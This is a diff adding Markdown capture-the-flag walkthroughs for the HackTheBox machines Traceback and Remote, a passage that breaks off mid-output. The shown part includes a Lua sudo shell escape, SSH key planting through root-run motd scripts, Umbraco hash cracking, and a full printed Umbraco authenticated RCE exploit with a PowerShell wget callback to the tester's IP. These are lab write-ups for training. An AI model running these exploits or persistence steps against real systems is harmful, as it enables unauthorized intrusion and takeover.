groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare) + webadmin@traceback:/var/www/html$ ls + ls + bg.jpg + index.html + smevk.php + webadmin@traceback:/var/www/html$ + + +And we get a shell as the webadmin user! + + + webadmin@traceback:/var/www/html$ ls ~ + ls ~ + note.txt + + webadmin@traceback:/var/www/html$ cd ~ + cd ~ + webadmin@traceback:/home/webadmin$ ls -lash + ls -lash + total 44K + 4.0K drwxr-x--- 5 webadmin sysadmin 4.0K Apr 22 06:08 . + 4.0K drwxr-xr-x 4 root root 4.0K Aug 25 2019 .. + 4.0K -rw------- 1 webadmin webadmin 105 Mar 16 2020 .bash_history + 4.0K -rw-r--r-- 1 webadmin webadmin 220 Aug 23 2019 .bash_logout + 4.0K -rw-r--r-- 1 webadmin webadmin 3.7K Aug 23 2019 .bashrc + 4.0K drwx------ 2 webadmin webadmin 4.0K Aug 23 2019 .cache + 4.0K drwxrwxr-x 3 webadmin webadmin 4.0K Apr 22 06:08 .local + 4.0K -rw-rw-r-- 1 webadmin webadmin 1 Aug 25 2019 .luvit_history + 4.0K -rw-r--r-- 1 webadmin webadmin 807 Aug 23 2019 .profile + 4.0K drwxrwxr-x 2 webadmin webadmin 4.0K Feb 27 2020 .ssh + 4.0K -rw-rw-r-- 1 sysadmin sysadmin 122 Mar 16 2020 note.txt + + webadmin@traceback:/var/www/html$ cat ~/note.txt + cat ~/note.txt + - sysadmin - + I have left a tool to practice Lua. + I'm sure you know where to find it. + Contact me if you have any question. + + +As we take a look around, we see that the sysadmin left a 'tool to practice lua' so let's take a look at what the user can do: + + + webadmin@traceback:/home/webadmin$ sudo -l + sudo -l + Matching Defaults entries for webadmin on traceback: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User webadmin may run the following commands on traceback: + (sysadmin) NOPASSWD: /home/sysadmin/luvit + + +Here we see that we have access to the luvit binary, which can be executed as sysadmin with no password. We also take a look at the user's history: + + + webadmin@traceback:/home/webadmin$ history + history + 1 ls -la + 2 sudo -l + 3 nano privesc.lua + 4 sudo -u sysadmin /home/sysadmin/luvit privesc.lua + 5 rm privesc.lua + 6 logout + 7 id + 8 ls + 9 ls ~ + 10 cat ~/note.txt + 11 cd ~ + 12 ls -lash + 13 sudo -l + 14 history + + +And here you see why this box is called Traceback, the hacker didn't remove the traces of their presence, and thus we see that they were using a file called privesc.lua in alongside the the /home/sysadmin/luvit binary. So let's see what they were trying to do after we upgrade our reverse shell to a fully interactive one: + + + webadmin@traceback:/home/webadmin$ tty + tty + not a tty + webadmin@traceback:/home/webadmin$ python3 -c 'import pty;pty.spawn("/bin/bash")' + webadmin@traceback:/home/webadmin$ ^Z #this means CTRL+Z + [1] + 3346006 suspended nc -lvnp 9001 + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback] + → stty raw -echo ; fg + [1] + 3346006 continued nc -lvnp 9001 + webadmin@traceback:/home/webadmin$ export TERM=screen-256color + webadmin@traceback:/home/webadmin$ export SHELL=bash + webadmin@traceback:/home/webadmin$ stty rows 40 columns 125 + webadmin@traceback:/home/webadmin$ reset + + +So we can use the luvit binary to run lua code as the sysadmin user, so let's spawn a shell with it: + + + webadmin@traceback:/home/webadmin$ nano priv.lua + + require('os'); + os.execute('/bin/bash'); + + CTRL+S CTRL+X + + webadmin@traceback:/home/webadmin$ sudo -u sysadmin /home/sysadmin/luvit ./priv.lua + sysadmin@traceback:/home/webadmin$ id + uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin) + sysadmin@traceback:/home/webadmin$ cd ~ + sysadmin@traceback:~$ ls + luvit user.txt + sysadmin@traceback:~$ cat user.txt + 08XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the sysadmin user, and print the user flag. + +## **Part 3 : Getting Root Access** + +Now we don't want to do all these steps to get a shell as the sysadmin user, so we're going to add our ssh public key to ssh directly as the sysadmin user: + + + sysadmin@traceback:~$ stty rows 80 columns 200 + sysadmin@traceback:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere' >> ~/.ssh/authorized_keys + + sysadmin@traceback:~$ exit + exit + webadmin@traceback:/home/webadmin$ exit + exit + webadmin@traceback:/home/webadmin$ exit + exit + % + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback] + → exit + + +Then ssh as the sysadmin user with the associated private key: + + + [ 10.10.14.13/23 ] [ /dev/pts/13 ] [~/HTB/Traceback] + → ssh sysadmin@10.10.10.181 -i ~/.ssh/id_ed25519 + The authenticity of host '10.10.10.181 (10.10.10.181)' can't be established. + ECDSA key fingerprint is SHA256:7PFVHQKwaybxzyT2EcuSpJvyQcAASWY9E/TlxoqxInU. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.181' (ECDSA) to the list of known hosts. + ################################# + -------- OWNED BY XH4H --------- + - I guess stuff could have been configured better ^^ - + ################################# + + Welcome to Xh4H land + + + + Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2 + $ bash + sysadmin@traceback:~$ id + uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin) + + +Now in order to privesc to the root user, we need to monitor the processes that are running on the server, especially if there are any that are being run regularly by the root user, and to do so we can use [pspy](https://github.com/DominicBreuker/pspy): + + + [ 10.10.14.13/23 ] [ /dev/pts/7 ] [~/HTB/Traceback] + → wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s + --2021-05-29 10:45:10-- https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s + Resolving github.com (github.com)... 140.82.121.3 + Connecting to github.com (github.com)|140.82.121.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://github-releases.githubusercontent.com/120821432/d54f2200-c51c-11e9-9594-737e4ba5e6fe?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential;=AKIAIWNJYAX4CSVEH53A%2F20210529%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date;=20210529T084505Z&X-Amz-Expires;=300&X-Amz-Signature;=ef1682d371721693120b61f6e0d48ee367f1f0008248f94748c01642371207f1&X-Amz-SignedHeaders;=host&actor;_id=0&key;_id=0&repo;_id=120821432&response-content-disposition;=attachment%3B%20filename%3Dpspy64s&response-content-type;=application%2Foctet-stream [following] + --2021-05-29 10:45:10-- https://github-releases.githubusercontent.com/120821432/d54f2200-c51c-11e9-9594-737e4ba5e6fe?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential;=AKIAIWNJYAX4CSVEH53A%2F20210529%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date;=20210529T084505Z&X-Amz-Expires;=300&X-Amz-Signature;=ef1682d371721693120b61f6e0d48ee367f1f0008248f94748c01642371207f1&X-Amz-SignedHeaders;=host&actor;_id=0&key;_id=0&repo;_id=120821432&response-content-disposition;=attachment%3B%20filename%3Dpspy64s&response-content-type;=application%2Foctet-stream + Resolving github-releases.githubusercontent.com (github-releases.githubusercontent.com)... 185.199.108.154, 185.199.110.154, 185.199.111.154, ... + Connecting to github-releases.githubusercontent.com (github-releases.githubusercontent.com)|185.199.108.154|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1156536 (1.1M) [application/octet-stream] + Saving to: ‘pspy64s’ + + pspy64s 100%[=====================================================================================================================================================>] 1.10M 3.50MB/s in 0.3s + + 2021-05-29 10:45:11 (3.50 MB/s) - ‘pspy64s’ saved [1156536/1156536] + + + [ 10.10.14.13/23 ] [ /dev/pts/7 ] [~/HTB/Traceback] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + sysadmin@traceback:~$ which curl wget + /usr/bin/wget + + sysadmin@traceback:~$ wget http://10.10.14.13:9090/pspy64s -O /dev/shm/pspy + --2021-05-29 01:54:04-- http://10.10.14.13:9090/pspy64s + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1156536 (1.1M) [application/octet-stream] + Saving to: ‘/dev/shm/pspy’ + + /dev/shm/pspy 100%[=====================================================================================================================================================>] 1.10M 312KB/s in 3.5s + + 2021-05-29 01:54:07 (321 KB/s) - ‘/dev/shm/pspy’ saved [1156536/1156536] + + sysadmin@traceback:~$ chmod +x /dev/shm/pspy + sysadmin@traceback:~$ /dev/shm/pspy + pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 + + + ██▓███ ██████ ██▓███ ▓██ ██▓ + ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ + ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ + ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ + ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ + ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ + ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ + ░░ ░ ░ ░ ░░ ▒ ▒ ░░ + ░ ░ ░ + ░ ░ + + Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) + Draining file system events due to startup... + done + + [...] + + 2021/05/29 01:54:21 CMD: UID=1001 PID=1310 | /dev/shm/pspy + 2021/05/29 01:54:21 CMD: UID=0 PID=1305 | sleep 30 + 2021/05/29 01:54:21 CMD: UID=0 PID=1304 | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ + 2021/05/29 01:54:21 CMD: UID=0 PID=1302 | /usr/sbin/CRON -f + 2021/05/29 01:54:21 CMD: UID=0 PID=13 | + 2021/05/29 01:54:21 CMD: UID=1001 PID=1236 | bash + 2021/05/29 01:54:21 CMD: UID=1001 PID=1226 | -sh + 2021/05/29 01:54:21 CMD: UID=1001 PID=1224 | sshd: sysadmin@pts/0 + 2021/05/29 01:54:21 CMD: UID=0 PID=121 | + 2021/05/29 01:54:21 CMD: UID=1001 PID=1200 | (sd-pam) + 2021/05/29 01:54:21 CMD: UID=0 PID=12 | + 2021/05/29 01:54:21 CMD: UID=1001 PID=1199 | /lib/systemd/systemd --user + 2021/05/29 01:54:21 CMD: UID=0 PID=1197 | sshd: sysadmin [priv] + 2021/05/29 01:54:31 CMD: UID=0 PID=1323 | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/ + + [...] + + + + +Here we see that the UID 0 (the root user) runs the **cp** command from **/var/backups/.update-motd.d/** to the **/etc/update-motd.d/** directory. + + + sysadmin@traceback:~$ ls -lash /etc/update-motd.d/ + total 32K + 4.0K drwxr-xr-x 2 root sysadmin 4.0K Apr 22 06:08 . + 4.0K drwxr-xr-x 80 root root 4.0K Apr 22 06:08 .. + 4.0K -rwxrwxr-x 1 root sysadmin 981 May 29 01:58 00-header + 4.0K -rwxrwxr-x 1 root sysadmin 982 May 29 01:58 10-help-text + 8.0K -rwxrwxr-x 1 root sysadmin 4.2K May 29 01:58 50-motd-news + 4.0K -rwxrwxr-x 1 root sysadmin 604 May 29 01:58 80-esm + 4.0K -rwxrwxr-x 1 root sysadmin 299 May 29 01:58 91-release-upgrade + sysadmin@traceback:~$ cat /etc/update-motd.d/00-header + #!/bin/sh + # + # 00-header - create the header of the MOTD + # Copyright (C) 2009-2010 Canonical Ltd. + # + # Authors: Dustin Kirkland <****kirkland@canonical.com> + # + # This program is free software; you can redistribute it and/or modify + # it under the terms of the GNU General Public License as published by + # the Free Software Foundation; either version 2 of the License, or + # (at your option) any later version. + # + # This program is distributed in the hope that it will be useful, + # but WITHOUT ANY WARRANTY; without even the implied warranty of + # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + # GNU General Public License for more details. + # + # You should have received a copy of the GNU General Public License along + # with this program; if not, write to the Free Software Foundation, Inc., + # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + + [ -r /etc/lsb-release ] && . /etc/lsb-release + + + echo "\nWelcome to Xh4H land \n" + + + +the **00-header** file in particular is responsible for what message appears when you SSH into the machine, and any code in that file will be run as the root account since the ssh-server service is ran by the root user. Since the file is **owned by the sysadmin user** and **ran by the root user** , the sysadmin user can run commands as the root user. such as allowing our public key to be used to login as the root user: + + + sysadmin@traceback:/etc/update-motd.d$ echo "cp /home/sysadmin/.ssh/authorized_keys /root/.ssh/" >> 00-header + + + +Now to run the command we added, we ssh as the sysadmin user: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback] + → ssh sysadmin@10.10.10.181 -i ~/.ssh/id_ed25519 + ################################# + -------- OWNED BY XH4H --------- + - I guess stuff could have been configured better ^^ - + ################################# + + Welcome to Xh4H land + + +and before the 30 second cleanup happens, we login as the root user: + + + [ 10.10.14.13/23 ] [ /dev/pts/31 ] [~/HTB/Traceback] + → ssh root@10.10.10.181 -i ~/.ssh/id_ed25519 + ################################# + -------- OWNED BY XH4H --------- + - I guess stuff could have been configured better ^^ - + ################################# + + Welcome to Xh4H land + + + + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + Last login: Mon Apr 26 02:23:35 2021 + root@traceback:~# id + uid=0(root) gid=0(root) groups=0(root) + root@traceback:~# cat root.txt + c4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/43_graph.png) + diff --git a/Easy/44.md b/Easy/44.md new file mode 100644 index 0000000..ff96bf6 --- /dev/null +++ b/Easy/44.md @@ -0,0 +1,719 @@ +# Remote Writeup + +![](img/44.png) + +## Introduction : + +Remote is an easy Windows box released back in march 2020 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → nmap -vvv -p- 10.10.10.180 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.180 + Discovered open port 111/tcp on 10.10.10.180 + Discovered open port 135/tcp on 10.10.10.180 + Discovered open port 139/tcp on 10.10.10.180 + Discovered open port 445/tcp on 10.10.10.180 + Discovered open port 21/tcp on 10.10.10.180 + Discovered open port 49666/tcp on 10.10.10.180 + Discovered open port 49678/tcp on 10.10.10.180 + Discovered open port 5985/tcp on 10.10.10.180 + Discovered open port 47001/tcp on 10.10.10.180 + Discovered open port 49667/tcp on 10.10.10.180 + Discovered open port 49665/tcp on 10.10.10.180 + Discovered open port 2049/tcp on 10.10.10.180 + Discovered open port 49664/tcp on 10.10.10.180 + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → nmap -sCV 10.10.10.180 -p 21,80,111,135,445,2049 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-30 18:12 CEST + Nmap scan report for 10.10.10.180 + Host is up (0.043s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp Microsoft ftpd + |_ftp-anon: Anonymous FTP login allowed (FTP code 230) + | ftp-syst: + |_ SYST: Windows_NT + 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + |_http-title: Home - Acme Widgets + 111/tcp open rpcbind 2-4 (RPC #100000) + | rpcinfo: + | program version port/proto service + | 100000 2,3,4 111/tcp rpcbind + | 100000 2,3,4 111/tcp6 rpcbind + | 100000 2,3,4 111/udp rpcbind + | 100000 2,3,4 111/udp6 rpcbind + | 100003 2,3 2049/udp nfs + | 100003 2,3 2049/udp6 nfs + | 100003 2,3,4 2049/tcp nfs + | 100003 2,3,4 2049/tcp6 nfs + | 100005 1,2,3 2049/tcp mountd + | 100005 1,2,3 2049/tcp6 mountd + | 100005 1,2,3 2049/udp mountd + | 100005 1,2,3 2049/udp6 mountd + | 100021 1,2,3,4 2049/tcp nlockmgr + | 100021 1,2,3,4 2049/tcp6 nlockmgr + | 100021 1,2,3,4 2049/udp nlockmgr + | 100021 1,2,3,4 2049/udp6 nlockmgr + | 100024 1 2049/tcp status + | 100024 1 2049/tcp6 status + | 100024 1 2049/udp status + |_ 100024 1 2049/udp6 status + 135/tcp open msrpc Microsoft Windows RPC + 445/tcp open microsoft-ds? + 2049/tcp open mountd 1-3 (RPC #100005) + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: 7m35s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2021-05-30T16:21:22 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 83.57 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 21 FTP with anonymous login allowed, We can recursively get what's there with wget : + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → wget -r ftp://anonymous:anonymous@10.10.10.180/ + + + +However there are no files to get so we're going to continue exploring port 80 instead: + +![](prg/44_001.png) + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → gobuster dir -u http://10.10.10.180 -w /usr/share/seclists/Discovery/Web-Content/common.txt + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.180 + [+] Method: GET + [+] Threads: 10 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Timeout: 10s + =============================================================== + 2021/05/30 18:42:03 Starting gobuster in directory enumeration mode + =============================================================== + /Blog (Status: 200) [Size: 5001] + /Contact (Status: 200) [Size: 7880] + /Home (Status: 200) [Size: 6703] + /People (Status: 200) [Size: 6749] + /Products (Status: 200) [Size: 5338] + /about-us (Status: 200) [Size: 5451] + /blog (Status: 200) [Size: 5011] + /contact (Status: 200) [Size: 7890] + /home (Status: 200) [Size: 6703] + /install (Status: 302) [Size: 126] [--> /umbraco/] + /intranet (Status: 200) [Size: 3323] + /master (Status: 500) [Size: 3420] + /people (Status: 200) [Size: 6739] + /person (Status: 200) [Size: 2741] + /product (Status: 500) [Size: 3420] + /products (Status: 200) [Size: 5328] + /render/https://www.google.com (Status: 400) [Size: 3420] + /umbraco (Status: 200) [Size: 4040] + + =============================================================== + 2021/05/30 18:43:05 Finished + =============================================================== + + + +Here we see that gobuster picked up the /umbraco/ directory: + +![](prg/44_002.png) + +Although we don't have credentials to get in yet. Our nmap scan picked up some available NFS shares on port 111, so let's enumerate those using the **showmount** utility: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → apt search showmount + Sorting... Done + Full Text Search... Done + nfs-common/kali-rolling,now 1:1.3.4-5 amd64 [installed,automatic] + NFS support files common to client and server + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → sudo apt install nfs-common -y + [sudo] password for nothing: + Reading package lists... Done + Building dependency tree... Done + Reading state information... Done + nfs-common is already the newest version (1:1.3.4-5). + nfs-common set to manually installed. + 0 upgraded, 0 newly installed, 0 to remove and 1 not upgraded. + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → showmount -e 10.10.10.180 + Export list for 10.10.10.180: + /site_backups (everyone) + + + +Here we see a mountable folder called site_backups, so let's mount it: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → mkdir backups + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → sudo mount -t nfs 10.10.10.180:/site_backups backups/ + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → ls -lash backups + total 123K + 4.0K drwx------ 2 nobody 4294967294 4.0K Feb 23 2020 . + 4.0K drwxr-xr-x 4 nothing nothing 4.0K May 30 19:40 .. + 512 drwx------ 2 nobody 4294967294 64 Feb 20 2020 App_Browsers + 4.0K drwx------ 2 nobody 4294967294 4.0K Feb 20 2020 App_Data + 4.0K drwx------ 2 nobody 4294967294 4.0K Feb 20 2020 App_Plugins + 512 drwx------ 2 nobody 4294967294 64 Feb 20 2020 aspnet_client + 48K drwx------ 2 nobody 4294967294 48K Feb 20 2020 bin + 8.0K drwx------ 2 nobody 4294967294 8.0K Feb 20 2020 Config + 512 drwx------ 2 nobody 4294967294 64 Feb 20 2020 css + 512 -rwx------ 1 nobody 4294967294 152 Nov 1 2018 default.aspx + 512 -rwx------ 1 nobody 4294967294 89 Nov 1 2018 Global.asax + 4.0K drwx------ 2 nobody 4294967294 4.0K Feb 20 2020 Media + 512 drwx------ 2 nobody 4294967294 64 Feb 20 2020 scripts + 8.0K drwx------ 2 nobody 4294967294 8.0K Feb 20 2020 Umbraco + 4.0K drwx------ 2 nobody 4294967294 4.0K Feb 20 2020 Umbraco_Client + 4.0K drwx------ 2 nobody 4294967294 4.0K Feb 20 2020 Views + 28K -rwx------ 1 nobody 4294967294 28K Feb 20 2020 Web.config + + +Now here in the files we see that there are some Umbraco directories, and after searching a bit online, we see that there can be a server database in the **/App_Data** folder named **Umbraco.sdf** + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → strings backups/App_Data/Umbraco.sdf| grep Administrator + Administratoradmindefaulten-US + Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d + Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d + adminAdministratorsCADMOSKTPIURZ:5F7 + + +Here we see that the Administrator user has a hashed password with the SHA1 algorithm, so let's attempt to crack it using john: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → cat hash.txt + b8be16afba8c314ad33d812f22a04991b90e2aaa + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → john hash.txt --format=Raw-SHA1 -w=/usr/share/wordlists/rockyou.txt + Using default input encoding: UTF-8 + Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x]) + Warning: no OpenMP support for this hash type, consider --fork=4 + Press 'q' or Ctrl-C to abort, almost any other key for status + baconandcheese (?) + 1g 0:00:00:00 DONE (2021-05-30 19:47) 1.282g/s 12594Kp/s 12594Kc/s 12594KC/s baconandchipies1..bacon918 + Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably + Session completed + + + +And we found the Administrator password for Umbraco: **baconandcheese** , so let's login: + +![](prg/44_003.png) + +Clicking help at the bottom left corner, we can see the version of this Umbraco instance: + +![](prg/44_004.png) + +And so we can look for CVEs for that Umbraco version: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → searchsploit umbraco + ------------------------------------------------------- --------------------------------- + Exploit Title | Path + ------------------------------------------------------- --------------------------------- + Umbraco CMS - Remote Command Execution (Metasploit) | windows/webapps/19671.rb + **Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execu | aspx/webapps/46153.py** + Umbraco CMS 7.12.4 - Remote Code Execution (Authentica | aspx/webapps/49488.py + Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scrip | php/webapps/44988.txt + ------------------------------------------------------- --------------------------------- + Shellcodes: No Results + + +And we get a few exploits to use for our Umbraco instance! Let's try the first RCE exploit: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → cp $(locate 46153.py) . + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → cat 46153.py + # Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators + # Dork: N/A + # Date: 2019-01-13 + # Exploit Author: Gregory DRAPERI & Hugo BOUTINON + # Vendor Homepage: http://www.umbraco.com/ + # Software Link: https://our.umbraco.com/download/releases + # Version: 7.12.4 + # Category: Webapps + # Tested on: Windows IIS + # CVE: N/A + + + import requests; + + from bs4 import BeautifulSoup; + + def print_dict(dico): + print(dico.items()); + + print("Start"); + + # Execute a calc for the PoC + payload = '<****?xml version="1.0"?> <****xsl:stylesheet version="1.0" \ + xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \ + xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\ <****msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \ + { string**cmd = "wget 10.10.14.13/your_rce_attempt_worked!";** System.Diagnostics.Process proc = new System.Diagnostics.Process();\ + proc.StartInfo.FileName = **"powershell.exe";** proc.StartInfo.Arguments = cmd;\ + proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \ + proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \ + <****/msxsl:script> <****xsl:template match="/"> <****xsl:value-of select="csharp_user:xml()"/>\ <****/xsl:template> <****/xsl:stylesheet> ';**login = "admin@htb.local"; + password="baconandcheese"; + host = "http://10.10.10.180";** + # Step 1 - Get Main page + s = requests.session() + url_main =host+"/umbraco/"; + r1 = s.get(url_main); + print_dict(r1.cookies); + + # Step 2 - Process Login + url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"; + loginfo = {"username":login,"password":password}; + r2 = s.post(url_login,json=loginfo); + + # Step 3 - Go to vulnerable web page + url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx"; + r3 = s.get(url_xslt); + + soup = BeautifulSoup(r3.text, 'html.parser'); + VIEWSTATE = soup.find(id="__VIEWSTATE")['value']; + VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']; + UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']; + headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN}; + data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"}; + + # Step 4 - Launch the attack + r4 = s.post(url_xslt,data=data,headers=headers); + + print("End");% + + + +Make sure you edit the values of login, password, host, powershell.exe and wget tun0/rcetest that i highlighted above, then proceed: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → python3 46153.py + Start + [] + End + + [ 10.10.14.13/23 ] [ /dev/pts/44 ] [~/HTB/Remote] + → sudo python3 -m http.server 80 + [sudo] password for nothing: + Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... + 10.10.10.180 - - [31/May/2021 06:48:29] code 404, message File not found + 10.10.10.180 - - [31/May/2021 06:48:29] "GET /your_rce_attempt_worked! HTTP/1.1" 404 - + + +And now after testing it we see that we have been able to get the machine to execute the wget command back to us, however [noraj](https://pwn.by/noraj/index.md) made a much better rewrite of this Umbraco RCE python exploit which allows us to pass arguements: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → wget https://raw.githubusercontent.com/noraj/Umbraco-RCE/master/exploit.py + --2021-05-31 07:07:53-- https://raw.githubusercontent.com/noraj/Umbraco-RCE/master/exploit.py + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.110.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 3202 (3.1K) [text/plain] + Saving to: ‘exploit.py’ + + exploit.py 100%[======================================================================================================================================================>] 3.13K --.-KB/s in 0s + + 2021-05-31 07:07:53 (6.52 MB/s) - ‘exploit.py’ saved [3202/3202] + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → python3 exploit.py -h + usage: exploit.py [-h] -u USER -p PASS -i URL -c CMD [-a ARGS] + + Umbraco authenticated RCE + + optional arguments: + -h, --help show this help message and exit + -u USER, --user USER username / email + -p PASS, --password PASS password + -i URL, --host URL root URL + -c CMD, --command CMD command + -a ARGS, --arguments ARGS arguments + + + +So let's use it: + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → python3 exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180/' -c 'powershell.exe' -a '-noprofile -command whoami' + iis apppool\defaultapppool + + + +We see that we can get remote code execution as the apppool user, + + + [ 10.10.14.13/23 ] [ /dev/pts/2 ] [~/HTB/Remote] + → python3 exploit.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://10.10.10.180/' -c 'powershell.exe' -a '-noprofile -command systeminfo' + + Host Name: REMOTE + OS Name: Microsoft Windows Server 2019 Standard + OS Version: 10.0.17763 N/A Build 17763 + OS Manufacturer: Microsoft Corporation + OS Configuration: Standalone Server + OS Build Type: Multiprocessor Free + Registered Owner: Windows User + Registered Organization: + Product ID: 00429-00521-62775-AA801 + Original Install Date: 2/19/2020, 4:03:29 PM + System Boot Time: 5/30/2021, 12:07:27 PM + System Manufacturer: VMware, Inc. + System Model: VMware7,1 + System Type: x64-based PC + Processor(s): 4 Processor(s) Installed. + [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz 